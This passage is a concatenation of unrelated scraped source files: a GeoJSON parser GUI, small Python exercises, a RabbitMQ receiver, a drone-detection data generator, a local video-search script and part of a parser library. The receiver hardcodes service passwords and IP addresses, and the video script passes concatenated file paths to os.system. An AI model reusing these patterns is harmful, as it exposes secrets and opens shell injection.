command=self.setNTFDATE,\n width=attribute_button_width).pack(side=TOP)\n\n self.SGG_OID_button = Checkbutton(self.attribute_button_frame,\n text='SGG_OID',\n anchor=W,\n command=self.setSGG_OID,\n width=attribute_button_width).pack(side=TOP)\n\n self.COL_ASM_SE_button = Checkbutton(self.attribute_button_frame,\n text='COL_ASM_SE',\n anchor=W,\n command=self.setCOL_ADM_SE,\n width=attribute_button_width).pack(side=TOP)\n\n self.CoreNum_button = Checkbutton(self.attribute_button_frame,\n text='CoreNum',\n anchor=W,\n command=self.setCoreNum,\n width=attribute_button_width).pack(side=TOP)\n\n self.area_button = Checkbutton(self.attribute_button_frame,\n text='area',\n anchor=W,\n command=self.setArea,\n width=attribute_button_width).pack(side=TOP)\n\n self.perimeter_button = Checkbutton(self.attribute_button_frame,\n text='perimeter',\n anchor=W,\n command=self.setPerimeter,\n width=attribute_button_width).pack(side=TOP)\n\n self.category_button = Checkbutton(self.attribute_button_frame,\n text='category',\n anchor=W,\n command=self.setCategory,\n width=attribute_button_width).pack(side=TOP)\n\n self.geometry_button = Checkbutton(self.attribute_button_frame,\n text='geometry',\n anchor=W,\n command=self.setGeometry,\n width=attribute_button_width).pack(side=TOP)\n # Exit Button\n\n # frame 생성\n self.cancel_button_frame = Frame(self.left_frame)\n self.cancel_button_frame.pack(side=BOTTOM, expand=YES, anchor=SW)\n\n # exit button 생성\n self.cancel_button = Button(self.cancel_button_frame ,text=\"exit\",\n width = button_width, padx=button_padx, pady=button_pady)\n\n self.cancel_button.pack(side=BOTTOM, anchor=S)\n\n self.cancel_button.bind(\"\",self.processCancel) # exit button event\n self.cancel_button.bind(\"\",self.processCancel) # exit button event\n\n # Text Widget - Show Parsed Data\n data_text = Text(self.right_frame,width=100)\n data_text.pack(side=TOP,fill=BOTH,expand=YES)\n data_text.insert(END,\"Display Panel\")\n\n # right_frame : scroll bar 생성\n yscrollbar = Scrollbar(data_text)\n yscrollbar.pack(side=RIGHT, fill=Y)\n yscrollbar.config(command=data_text.yview)\n\n # end GUI widgets\n\n # functions\n \"\"\"\n function processOK:\n file load method - only geojson file valid\n \"\"\"\n def processOK(self,event):\n\n try:\n open_file_path = filedialog.askopenfilenames(initialdir=\"C:/Users/\",\n title=\"choose your file\",\n filetypes=((\"geojson files\", \"*.geojson\"), (\"all files\", \"*.*\")))\n\n open_file_path = ''.join(open_file_path) # format convert to str(string)\n\n with open(open_file_path,'rt',encoding='UTF8') as f:\n self.Data = json.load(f)\n print(type(self.Data))\n print(self.Data.keys())\n print(len(self.Data['features']))\n\n except FileNotFoundError as e: # exception handling\n messagebox.showwarning(\"File load Warning\",\"No File loaded:\\n\"+str(e)) # alert warning Msg.\n\n else:\n self.file_loaded = True\n self.showData()\n messagebox.showinfo(\"Success\",\"Successfully loaded:\\n\"+open_file_path)\n f.close()\n\n \"\"\"\n function savefile:\n save buttion click:event\n boolean var: savejson,savecsv 확인 후 parseData를 \n geojson 또는 csv파일로 저장\n \"\"\"\n def savefile(self,event):\n\n if self.file_loaded is False:\n\n messagebox.showwarning(\"warning\",\"No geojson file loaded\")\n\n elif self.savejson is True and self.savecsv is False:\n\n SaveFile = filedialog.asksaveasfile(\"w\",defaultextension=\".geojson\")\n\n if SaveFile:\n with open(SaveFile.name,'w',encoding='UTF8') as f:\n json.dump(self.parseData,f,ensure_ascii=False,indent=\"\\t\")\n\n\n messagebox.showinfo(\"Success\",\"Successfully Saved\\n\"+SaveFile.name)\n print(self.savejson)\n print(self.savecsv)\n\n self.restart_program()\n\n elif self.savejson is False and self.savecsv is True:\n\n if self.file_loaded is False:\n\n messagebox.showwarning(\"warining\",\"No geojson file loaded\")\n\n elif self.savecsv is True and self.savejson is False:\n\n # delete geometry info (type,coordinates)\n if self.geometry is True:\n for element in self.parseData['features']:\n del element['geometry']\n\n SaveFile = filedialog.asksaveasfile(\"w\",defaultextension=\".csv\")\n\n if SaveFile:\n with open(SaveFile.name,'w',encoding='UTF8') as f:\n output = csv.writer(f)\n output.writerow(self.parseData.keys())\n\n for row in self.parseData:\n output.writerow(row.values())\n\n\n\n messagebox.showinfo(\"Success\",\"Save Success\\n\"+SaveFile.name)\n print(self.savejson)\n print(self.savecsv)\n\n self.restart_program()\n\n # attribute 변경 함수들\n def setType(self):\n self.type = not self.type\n print(self.type)\n\n def setName(self):\n self.name = not self.name\n print(self.name)\n\n def setALIAS(self):\n self.ALIAS = not self.ALIAS\n print(self.ALIAS)\n\n def setRemark(self):\n self.REMARK = not self.REMARK\n print(self.REMARK)\n\n def setNTFDATE(self):\n self.NTFDATE = not self.NTFDATE\n print(self.NTFDATE)\n\n def setSGG_OID(self):\n self.SGG_OID = not self.SGG_OID\n print(self.SGG_OID)\n\n def setCOL_ADM_SE(self):\n self.COL_ADM_SE = not self.COL_ADM_SE\n print(self.COL_ADM_SE)\n\n def setCoreNum(self):\n self.CoreNum = not self.CoreNum\n print(self.CoreNum)\n\n def setArea(self):\n self.area = not self.area\n print(self.area)\n\n def setPerimeter(self):\n self.perimeter = not self.perimeter\n print(self.perimeter)\n\n def setCategory(self):\n self.category = not self.category\n print(self.category)\n\n def setGeometry(self):\n self.geometry = not self.geometry\n print(self.geometry)\n \"\"\"\n function processCancel:\n exit button click:event\n 프로세스 종료\n \"\"\"\n def processCancel(self,event):\n self.myparent.destroy()\n\n \"\"\"\n function initValue\n boolean 변수를 초기값으로 설정\n \"\"\"\n def initValue(self):\n\n self.file_loaded = False\n\n self.savejson = True\n self.savecsv = False\n\n self.type = False\n self.name = False\n self.ALIAS = False\n self.REMARK = False\n self.NTFDATE = False\n self.SGG_OID = False\n self.COL_ADM_SE = False\n self.CoreNum = False\n self.area = False\n self.perimeter = False\n self.category = False\n self.geometry = False\n \"\"\"\n function setFormat:\n radiobuttion click(geojson,csv):\n 저장할 file format 설정\n \"\"\"\n def setFormat(self):\n\n if self.fb.get() is 0:\n\n self.savejson = True\n self.savecsv = False\n print(\"save file format:geojson\")\n\n elif self.fb.get() is 1:\n\n self.savecsv = True\n self.savejson = False\n print(\"save file format:CSV\")\n\n\n def showData(self):\n\n if self.Data is None:\n messagebox.showerror(\"Error\", \"no geojson file loaded\")\n '''\n function dataParser:\n parse button click:\n checkbox에서 선택한 key value들만 파싱\n 파싱한 데이터는 parseData 변수에 저장\n '''\n def dataParser(self,event):\n\n if self.Data is None and self.file_loaded is False:\n messagebox.showwarning(\"Warning\",\"파일 로드하세용\")\n else:\n print(\"Data Parse Logic Start\")\n\n self.parseData = self.Data\n\n if self.name is False:\n self.parseData.pop('name',None)\n\n if self.geometry is False:\n for element in self.parseData['features']:\n del element['geometry']\n\n if self.type is False:\n for element in self.parseData['features']:\n del element['type']\n\n if self.ALIAS is False:\n for element in self.parseData['features']:\n del element['properties']['ALIAS']\n\n if self.REMARK is False:\n for element in self.parseData['features']:\n del element['properties']['REMARK']\n\n if self.NTFDATE is False:\n for element in self.parseData['features']:\n del element['properties']['NTFDATE']\n\n if self.SGG_OID is False:\n for element in self.parseData['features']:\n del element['properties']['SGG_OID']\n\n if self.COL_ADM_SE is False:\n for element in self.parseData['features']:\n del element['properties']['COL_ADM_SE']\n\n if self.CoreNum is False:\n for element in self.parseData['features']:\n del element['properties']['CoreNum']\n\n if self.area is False:\n for element in self.parseData['features']:\n del element['properties']['area']\n\n if self.perimeter is False:\n for element in self.parseData['features']:\n del element['properties']['perimeter']\n\n if self.category is False:\n for element in self.parseData['features']:\n del element['properties']['category']\n\n self.Data = None\n #pprint(self.parseData)\n\n \"\"\"\n function:restart_program\n Restarts the current program.\n Note: this function doesn't return. Any cleanup action (like\n saving data) must be done before calling this function.\n \"\"\"\n def restart_program(self):\n path = sys.executable\n os.execl(path,path,*sys.argv)\n # end Functions\n\n\nroot = Tk()\nroot.title(\"geojson Parser\")\n\nmyapp = Myapp(root)\nroot.mainloop()","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":16557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"503453034","text":"numero = int(input(\"Introduce un número entero: \"))\nsumaDiv = 0\ni = 1\n\nwhile(i <= numero):\n if(numero % i == 0):\n sumaDiv+= i\n i+=1\n\nprint(\"La suma de los divisores de {0} es {1}\".format(numero,sumaDiv))\n","sub_path":"Prac2/ej25.py","file_name":"ej25.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"607997788","text":"from turtle import *\r\nimport random\r\n\r\nMAX_DEGREES = 360\r\nCORNER_QUANTI = 40\r\n\r\ndef roundto(x, y):\r\n if x < y:\r\n return y\r\n x = round(x/y)*y\r\n return x\r\n\r\ndef buildangle(angle):\r\n return angle\r\n\r\ndef makepoly():\r\n anglesum = 0\r\n maxlocal = MAX_DEGREES/2\r\n \r\n color('blue')\r\n while True:\r\n \r\n angle = random.randint(1,maxlocal)\r\n angle = roundto(angle, CORNER_QUANTI)\r\n anglesum += angle\r\n maxlocal -= angle\r\n left(angle)\r\n forward(100)\r\n \r\n if anglesum >= MAX_DEGREES:\r\n break\r\n \r\n done()\r\n \r\nmakepoly()\r\n","sub_path":"pypropyl.py","file_name":"pypropyl.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"521714738","text":"import logging.config\nimport os\nimport sys\n\nfrom crawler_base import TaskManager\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../\"))\n\nfrom helper.config import Config\n\nsys.path.append(\"/usr/src/app/\")\nsys.path.append(\"/usr/src/app/project\")\nfrom proccess.main import SomeTaskManager\n\nCURRENT_DIR = os.path.dirname(os.path.realpath(__file__))\nconfig_path = os.path.join(CURRENT_DIR,'../', 'config')\n# logging.config.fileConfig(os.path.join(config_path, 'logging.conf'))\n#logger = logging.getLogger(__name__)\n\n\nmain_config = Config.setup_main_config(os.path.join(config_path, 'main.yml'))\n\n\nconfig = {\n 'rabbit': {\n 'username': 'test',\n 'password': 'test',\n 'host': '79.135.230.130:20672',\n 'queue': 'testtesttest2',\n 'autodelete': False,\n 'durable': True,\n 'msecsttl': 0,\n 'max_task_respawn': 3\n },\n 'db': {\n 'DB_PORT': '20707',\n 'DB_TABLE_NAMES': {\n 'errors': 'errors',\n 'inputData': 'inputData',\n 'docker': 'docker',\n 'users': 'users'\n },\n 'DB_NAME': 'YandexData',\n 'DB_HOST': '79.135.230.130'\n },\n 'redis': {\n 'REDIS_URL': 'redis://:@79.135.230.130:20379/0',\n 'REDIS_BRANCH': 'TestTest'\n },\n 'proxy_url': '',\n 'headers_url': '',\n 'dev_mode': True,\n 'logging': {\n 'names': 'yandex',\n 'level': 0,\n 'file_path': '/usr/src/app/project/logs/test.log',\n 'elastic_url': ''\n }\n}\n\n\nif __name__ == '__main__':\n tm = SomeTaskManager(config)\n tm.start_consuming()\n","sub_path":"docker/project/test/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"151389145","text":"# Author: Anthony Cox\n# Date: 29th June 2016\n# Purpose: UIClasses.py contains objects which represent various UI components\n\n# Represents a menu item in the menu bar of the UI\nclass MenuItem:\n def __init__(self, menu_id, menu_url, menu_title):\n self.menu_id = menu_id\n self.menu_url = menu_url\n self.menu_title = menu_title\n\n# Represents a budget category for the budget \nclass BudgetCategory:\n def __init__(self, id, title):\n self.id = id\n self.title = title\n\n# Represents a budget item for the budget \nclass BudgetItem:\n def __init__(self, title, budget, actualCost, depositOne, depositTwo, finalPayment, paid):\n self.title = title\n self.budget = budget\n self.actualCost = actualCost\n self.depositOne = depositOne\n self.depositTwo = depositTwo\n self.finalPayment = finalPayment\n if paid == 0:\n self.paid = False\n else:\n self.paid = True\n\n# Represents a budget title for the budget\nclass BudgetTitle:\n def __init__(self, id, title):\n self.id = id\n self.title = title\n\n# Represents a vendor\nclass Vendor:\n def __init__(self, type, name, phoneNumber, contactName, emailAddress):\n self.type = type\n self.name = name\n self.phoneNumber = phoneNumber\n self.contactName = contactName\n self.emailAddress = emailAddress","sub_path":"src/UIClasses.py","file_name":"UIClasses.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"58243901","text":"# ---------------------------------- Imports --------------------------------- #\n\nfrom .generator import Generator\nfrom ..utils.image import read_image_bgr, cvt_grayscale\n\nimport numpy as np\nfrom PIL import Image\nfrom six import raise_from\n\nimport csv\nimport sys\nimport os.path\nimport cv2\nfrom os.path import join\nfrom glob import glob\n\nfrom .image_insert_class import ImageInserter\n\n\n\n# ---------------------------------------------------------------------------- #\n# Main class #\n# ---------------------------------------------------------------------------- #\n\ndef _get_paths(images_path, extensions = ['*.jpg', '*.jpeg', '*.png'] ):\n '''\n Read all img paths\n images_path --- path to images\n extensions --- list of extensions\n '''\n\n files = []\n for ext in extensions:\n files.extend(glob(join(images_path, ext)))\n\n return files\n\nclass DroneReportGenerator(Generator):\n '''\n A generator for drone report.\n Random drone & bird insertion into background.\n\n epoch_size --- number of elements in one epoch\n '''\n def __init__(\n self,\n background_paths,\n drone_paths,\n bird_paths,\n epoch_size,\n batch_size = 8,\n # augmenter = None,\n n_batches = 20,\n # augmenter_imgaug = None,\n transform_generator = None,\n grayscale = False,\n **kwargs,\n ):\n\n # Set image paths\n self.background_paths = background_paths\n self.drone_paths = drone_paths\n self.bird_paths = bird_paths\n self.epoch_size = epoch_size\n self.batch_size = batch_size\n self.n_batches = n_batches\n self.max_n_birds = 2\n self.grayscale = grayscale\n kwargs['grayscale'] = grayscale # pass for parent class\n\n # self.augmenter_imgaug = augmenter_imgaug\n self.transform_generator = transform_generator\n\n\n # Create inserter objects\n self.drone_inserter = ImageInserter(\n inserted_image_paths = self.drone_paths,\n size_range = ( 7./100, 70./100),\n angle_range = ( -45.0, 45.0 ),\n p = 1.0,\n feathering = False,\n thermal = False,\n shuffle_colors = True)\n\n self.bird_inserter = ImageInserter(\n inserted_image_paths = self.bird_paths,\n size_range = ( 7./100, 70./100),\n angle_range = ( -45.0, 45.0 ),\n p = 1.0,\n feathering = False,\n thermal = False,\n shuffle_colors = True)\n\n # images_bgr --- numpy tensor [batch_idx, height, width, channel\n # images, bboxes = img_inserter.insert_images(images_bgr)\n # images, bboxes = img_inserter.insert_images(images_bgr)\n\n # init super-class\n super(DroneReportGenerator, self).__init__(**kwargs)\n\n # ----------------------------- Mandatory methods ---------------------------- #\n def size(self):\n \"\"\" Size of the dataset.\n \"\"\"\n return self.epoch_size\n\n def num_classes(self):\n \"\"\" Number of classes in the dataset.\n \"\"\"\n return 1\n\n def has_label(self, label):\n \"\"\" Returns True if label is a known label.\n \"\"\"\n return True\n\n def has_name(self, name):\n \"\"\" Returns True if name is a known class.\n \"\"\"\n return True\n\n def name_to_label(self, name):\n \"\"\" Map name to label.\n \"\"\"\n return 0\n\n\n def label_to_name(self, label):\n \"\"\" Map label to name.\n \"\"\"\n return 'drone'\n\n\n def image_aspect_ratio(self, image_index):\n \"\"\" Compute the aspect ratio for an image with image_index.\n\n A FIXED PARAMETER IN OUR CASE\n \"\"\"\n return 640.0 / 480.0\n\n\n\n def load_annotations(self, image_index):\n \"\"\" Load annotations for an image_index. [Unused]\n \"\"\"\n return None\n\n def load_image(self, image_index):\n ''' Load image for an image_index. [Unused]\n '''\n return None\n\n\n def generate_example(self, n):\n \"\"\" Generate a single example\n Taking random image and background.\n \"\"\"\n\n # Select random background image\n bg_idx = np.random.randint(0, len(self.background_paths) - 1 )\n bg_img = cv2.imread(self.background_paths[bg_idx])\n images = [bg_img]\n\n\n # Insert birds\n n_birds = np.random.randint(0, self.max_n_birds)\n for n in range(n_birds):\n images, _ = self.bird_inserter.insert_images(images)\n\n # Insert drone\n images, bboxes = self.drone_inserter.insert_images(images)\n\n\n # ----------------------------- BBox annotations ----------------------------- #\n x1 = bboxes[0].bounding_boxes[0].x1_int\n y1 = bboxes[0].bounding_boxes[0].y1_int\n x2 = bboxes[0].bounding_boxes[0].x2_int\n y2 = bboxes[0].bounding_boxes[0].y2_int\n\n annotations = {'labels': np.empty((0,)), 'bboxes': np.empty((0, 4))}\n annotations['labels'] = np.concatenate((annotations['labels'], [self.name_to_label('drone')]))\n annotations['bboxes'] = np.concatenate((annotations['bboxes'], [[\n x1, y1,\n x2, y2,\n ]]))\n\n # --------------------------------- grayscale -------------------------------- #\n if self.grayscale:\n images[0] = cvt_grayscale(images[0])\n\n\n # return 0-th image\n return images[0], annotations\n\n\n\n\n\n ''' Annotations format\n\n annotations = {'labels': np.empty((0,)), 'bboxes': np.empty((0, 4))}\n\n for idx, annot in enumerate(self.image_data[path]):\n annotations['labels'] = np.concatenate((annotations['labels'], [self.name_to_label(annot['class'])]))\n annotations['bboxes'] = np.concatenate((annotations['bboxes'], [[\n float(annot['x1']),\n float(annot['y1']),\n float(annot['x2']),\n float(annot['y2']),\n ]]))\n '''\n\n\n def load_group(self, n_elements):\n '''\n Load a group of images and bboxes\n\n Input:\n n_elements --- number of elements in this group\n\n Returns:\n image_group --- a list of images\n annotations_group --- a list of annotations\n '''\n\n image_group = []\n annotations_group = []\n\n # Construct a batch\n for _ in range(n_elements):\n\n # load example\n img, annots = self.generate_example(n = 1) # n is ignored here\n (x1, y1, x2, y2) = annots['bboxes'][0] #FIXME: assuming single drone.\n\n # append image\n image_group.append(img)\n\n # ---------------------------- append annotations ---------------------------- #\n # left for future possibility of many drone per image\n annotations = {'labels': np.empty((0,)), 'bboxes': np.empty((0, 4))}\n annotations['labels'] = np.concatenate((annotations['labels'], [self.name_to_label('drone')]))\n annotations['bboxes'] = np.concatenate((annotations['bboxes'], [[\n float(x1),\n float(y1),\n float(x2),\n float(y2),\n ]]))\n\n annotations_group.append(annotations)\n\n\n\n return image_group, annotations_group\n\n # -------------------------- Overriding parent class ------------------------- #\n def compute_input_output(self, group):\n \"\"\" Compute inputs and target outputs for the network.\n group --- list of indices of images in a group\n \"\"\"\n # load images and annotations\n n_elements = len(group)\n image_group, annotations_group = self.load_group( n_elements )\n\n # image_group = self.load_image_group(group)\n # annotations_group = self.load_annotations_group(group)\n\n # check validity of annotations\n image_group, annotations_group = self.filter_annotations(image_group, annotations_group, group)\n\n # randomly transform data\n image_group, annotations_group = self.random_transform_group(image_group, annotations_group)\n\n # perform preprocessing steps\n image_group, annotations_group = self.preprocess_group(image_group, annotations_group)\n\n # compute network inputs\n inputs = self.compute_inputs(image_group)\n\n # compute network targets\n targets = self.compute_targets(image_group, annotations_group)\n\n return inputs, targets\n\n # ---------------------------------------------------------------------------- #\n # hacks #\n # ---------------------------------------------------------------------------- #\n def __len__(self):\n \"\"\"\n Number of batches for generator.\n \"\"\"\n return self.n_batches\n # return len(self.groups)\n\n def __getitem__(self, index):\n \"\"\"\n Keras sequence method for generating batches.\n\n group --- a list for img indices in one group\n \"\"\"\n group = np.random.randint(0, high=self.epoch_size, size=self.batch_size)\n\n # group = self.groups[index] # H1: maybe here was the problem\n inputs, targets = self.compute_input_output(group)\n\n return inputs, targets","sub_path":"keras_retinanet/preprocessing/drone_report_generator.py","file_name":"drone_report_generator.py","file_ext":"py","file_size_in_byte":9405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"89210329","text":"\nimport sys, os,re,webbrowser\n# import stat\n\ndirpath = '/Volumes/MyStorage/sprivate/jp'\ndirpath1 = '/Volumes/MyStorage-1/sprivate/jp'\n\nfiletype = ('.mp4','.mkv','.avi','rm','rmvb')\nsearchurl = 'https://www.zhongziso.com/list/keyword/1'\n# searchurl = 'https://m.zhongziso.com/list/keyword/1'\n\n# https://www.zhongziso.com/list/013/1\ndef openurl(url):\n\n webbrowser.open(url)\n\n\ndef search(key,num=None):\n global dirpath\n if os.path.exists(dirpath):\n pass\n else:\n dirpath = dirpath1\n\n all = os.listdir(dirpath)\n hasl = []\n letter = re.findall(\"[a-zA-Z]+\", key)\n for x in range(len(letter)):\n '''遍历替换大写'''\n letter[x] = letter[x].upper()\n digital = re.findall(\"\\d+\", key)\n chs = re.findall(r'[\\u4e00-\\u9fa5]+',key)\n ark = letter + digital + chs\n\n # for a,b,c in all:\n # if os.path.isdir(a): \n # print (a)\n\n # exit(1)\n rename = ''\n for v in ark:\n rename = rename + '%20' + v\n for name in all:\n if name.startswith('.'):\n continue\n name = name.upper()\n trueHas = True\n for dt in ark:\n if (name.find(dt) ) == -1:\n trueHas = False\n if trueHas:\n hasl.append(name)\n\n\n # print (name)\n\n if (num != None) and (int(num) > len(hasl)-1):\n print('输入结果超过条数')\n elif (num != None):\n os.system('open '+dirpath+'/'+hasl[int(num)])\n elif len(hasl) ==1:\n url = dirpath+'/'+hasl[0]\n print ('搜索结果共有',len(hasl),'个\\n','即将打开:',url)\n # print ('【',0,'】',hasl[0])\n os.system('open '+url)\n elif len(hasl) ==0: \n url = searchurl.replace('keyword',rename)\n\n print ('搜索结果共有',len(hasl),'个\\n','即将跳到:',url)\n openurl(url)\n else:\n print ('搜索结果共有',len(hasl),'个\\n')\n for i in range(len(hasl)):\n path = dirpath+'/'+hasl[i]\n # if os.path.isdir(path):\n print ('【',i,'】',hasl[i])\n\n\n \n\nif __name__ == '__main__':\n num = None\n if len(sys.argv) == 2:\n # print ('2')\n pass\n elif len(sys.argv) == 3 :\n if sys.argv[2].isdigit():\n # print('3')\n num = sys.argv[2]\n else:\n print ('参数错误')\n exit(1)\n else:\n print ('参数错误')\n exit(1)\n # f_input = sys.argv[1]\n search(sys.argv[1],num)\n","sub_path":"avc.py","file_name":"avc.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"590113265","text":"# coding=utf-8\nimport tensorflow as tf\n\n\ndef accuracy(logits, labels):\n \"\"\" 正解率(accuracy)を計算する関数\n\n 引数:\n logits: inference()の結果\n labels: ラベルのtensor, int32 - [batch_size, NUM_CLASSES]\n\n 返り値:\n accuracy: 正解率(float)\n\n \"\"\"\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(labels, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n tf.summary.scalar(\"accuracy\", accuracy)\n return accuracy\n","sub_path":"cnn/accuracy/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"63450298","text":"#!./my_env/bin/python\n\n# define days for each month\nDays_in_Month = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n\n# define a date\n\n\nclass Date:\n def __init__(self, day, month, year):\n self.day = day\n self.month = month\n self.year = year\n\n# define leap year rule:\n# The year must be evenly divisible by 4\n# If the year can also be evenly divided by 100, it is not a leap year\n# unless...\n# The year is also evenly divisible by 400. Then it is a leap year.\n\n\ndef isLeapYear(y):\n return y % 4 == 0 and (y % 100 != 0 or y % 400 == 0)\n\n\ndef countLeapYear(x):\n yrs = x.year\n # if current month is smaller than 2 means this year donot need to be considered leap year or not at all\n if (x.month <= 2):\n yrs -= 1\n # return the total count of leap years between entry year and start year 00/00/0000\n return int(yrs / 4) - int(yrs / 100) + int(yrs / 400)\n\n# calculate the difference between two date entry against start date 00/00/0000\n\n\ndef diffCalculation(date1, date2):\n # initialise p1(first date entry) and calculate it against start date 00/00/0000 without month data\n p1 = date1.year * 365 + date1.day\n\n # calculate total days in month position for p1 (entry position 1) adding it to exisiting p1 result without leap year consideration\n for i in range(0, date1.month - 1):\n p1 += Days_in_Month[i]\n\n # adding leapyears into final days count (each leap year means an extra day to add)\n p1 += countLeapYear(date1)\n\n # same process for p2 (second date entry)\n p2 = date2.year * 365 + date2.day\n\n for i in range(0, date2.month - 1):\n p2 += Days_in_Month[i]\n\n p2 += countLeapYear(date2)\n\n # compare two entries and decide and low position in time line and the high position in time line\n minPosition = min(p1, p2)\n maxPosition = max(p1, p2)\n\n # calculate the position difference (date difference) between two entries. minus 1 day for not counting two entry date.\n days = maxPosition - minPosition - 1\n if days < 0:\n days = 0\n return days\n","sub_path":"datediff.py","file_name":"datediff.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"596288599","text":"from Redy.ADT import traits\nfrom Redy.ADT.Core import RDT, data\n\nfrom .AST import *\nfrom .Result import *\nfrom .State import *\n\nfrom ._literal_matcher import *\nfrom Redy.Magic.Pattern import Pattern\nfrom warnings import warn\n\nContext = dict\nLRFunc = Callable[[AST], Result]\nWhen = Callable[[Sequence[Tokenizer], State], bool]\nWith = Callable[[Sequence[Tokenizer], State], bool]\nRewrite = Callable[[State], Named]\n\n\nclass ConsInd(traits.Ind): # index following constructing\n def __getitem__(self: traits.IData, i):\n # noinspection PyUnresolvedReferences\n return self.__structure__[i] if self.__structure__ else self\n\n\nclass Parser:\n\n def match(self, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n raise NotImplemented\n\n def repeat(self, least, most=-1) -> 'Parser':\n return self(least, most)\n\n @property\n def one_or_more(self):\n return self.repeat(1, -1)\n\n @property\n def unlimited(self):\n return self.repeat(0)\n\n @property\n def optional(self):\n return self.repeat(0, 1)\n\n def __call__(self, least, most=-1) -> 'Parser':\n return Composed.Seq(self, least, most)\n\n def __invert__(self):\n return Composed.AnyNot(self)\n\n def __matmul__(self, other: str):\n return Atom.Bind(other, self)\n\n def __or__(self, other):\n if self[0] is Composed.Or:\n if other[0] is Composed.Or:\n return Composed.Or([*self[1], *other[1]])\n return Composed.Or([*self[1], other])\n elif other[0] is Composed.Or:\n return Composed.Or([self, *other[1]])\n return Composed.Or([self, other])\n\n def __add__(self, other):\n if self[0] is Composed.And:\n if other[0] is Composed.And:\n return Composed.And([*self[1], *other[1]])\n return Composed.And([*self[1], other])\n elif other[0] is Composed.And:\n return Composed.And([self, *other[1]])\n return Composed.And([self, other])\n\n\n@data\nclass Literal(Parser, ConsInd, traits.Dense, traits.Im):\n # match by regex\n # indeed it's stupid to use regex matching when parsing, however EBNFParser supplies everything.\n R: RDT[lambda regex: [[make_regex_matcher(regex)], f'R{regex.__repr__()}']]\n\n # match by runtime string(equals)\n V: RDT[lambda runtime_str: [[make_runtime_str_matcher(runtime_str)], f'V{runtime_str.__repr__()}']]\n\n # match by name -> const string\n N: RDT[lambda name: [[make_name_matcher(name)], f'N{name.__repr__()}']]\n\n C: RDT[lambda const_string: [[make_const_str_matcher(const_string)], f'{const_string.__repr__()}']]\n\n NC: RDT[lambda name, const_string: [[make_name_and_const_str_matcher(name, const_string)],\n f'<{name}>{const_string.__repr__()}']]\n\n Invert: RDT[lambda literal: [[lambda token: not literal[1](token)], f'~{literal}']]\n\n def __str__(self):\n return str(self.__inst_str__)\n\n def match(self, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n try:\n token = tokenizers[state.end_index]\n except IndexError:\n return Result.mismatched\n if self[1](token):\n state.new_one()\n return Result.match(token)\n return Result.mismatched\n\n def __invert__(self):\n # noinspection PyCallingNonCallable\n return Literal.Invert(self)\n\n\n@data\nclass Atom(Parser, ConsInd, traits.Dense, traits.Im):\n Bind: lambda name, or_parser: f'({or_parser}) as {name}'\n Named: RDT[\n lambda ref_name, when, with_, rewrite: [[ConstStrPool.cast_to_const(ref_name), when, with_, rewrite], ref_name]]\n\n Any: '_'\n\n @Pattern\n def match(self, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n return self[0] if self.__structure__ else self\n\n\n@Atom.match.case(Atom.Any)\ndef _any_match(_, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n try:\n token = tokenizers[state.end_index]\n except IndexError:\n return Result.mismatched\n state.new_one()\n return Result.match(token)\n\n\n@Atom.match.case(Atom.Bind)\ndef _bind_match(self: Atom, tokenizers: Sequence[Tokenizer], state: State):\n _, name, parser = self\n result = parser.match(tokenizers, state)\n\n if result.status is FindLR:\n stacked_func: LRFunc = result.value\n\n def stacked_func_(ast: AST):\n stacked_result = stacked_func(ast)\n if stacked_result.status is Matched:\n state.ctx = state.ctx.copy()\n state.ctx[name] = stacked_result.value\n return stacked_result\n\n return Result.find_lr(stacked_func_)\n\n elif result.status is Matched:\n ctx = state.ctx = state.ctx.copy()\n ctx[name] = result.value\n\n return result\n\n\n@Atom.match.case(Atom.Named)\ndef _named_match(self: Atom, tokenizers: Sequence[Tokenizer], state: State):\n _, name, when, with_, rewrite = self\n lang = state.lang\n if when and not when(tokenizers, state):\n return Result.mismatched\n\n parser: 'Composed.Or' = lang[name]\n\n if name in state:\n if state.lr_name:\n return Result.mismatched\n\n state.lr_name = name\n\n def stacked_func(ast: AST):\n return Result(Matched, ast)\n\n return Result.find_lr(stacked_func)\n\n with state.leave_with_context_recovery():\n state.append(name)\n state.ctx = {}\n\n result: Result = parser.match(tokenizers, state)\n if result.status is Matched:\n if with_ and not with_(tokenizers, state):\n return Result.mismatched\n\n return Result(Matched, rewrite(state) if rewrite else Named(name, result.value))\n\n elif result.status is FindLR:\n stacked_func: LRFunc = result.value\n\n if state.lr_name is not name:\n def stacked_func_(ast: AST):\n stacked_result = stacked_func(ast)\n if stacked_result.status is Matched:\n return Result.match(rewrite(state) if rewrite else Named(name, stacked_result.value))\n return stacked_result\n\n return Result.find_lr(stacked_func_)\n else:\n return Result.mismatched\n\n # find lr and state.lr_name is name\n\n with state.left_recursion():\n original_ctx = state.ctx\n state.ctx = original_ctx.copy()\n\n result: Result = 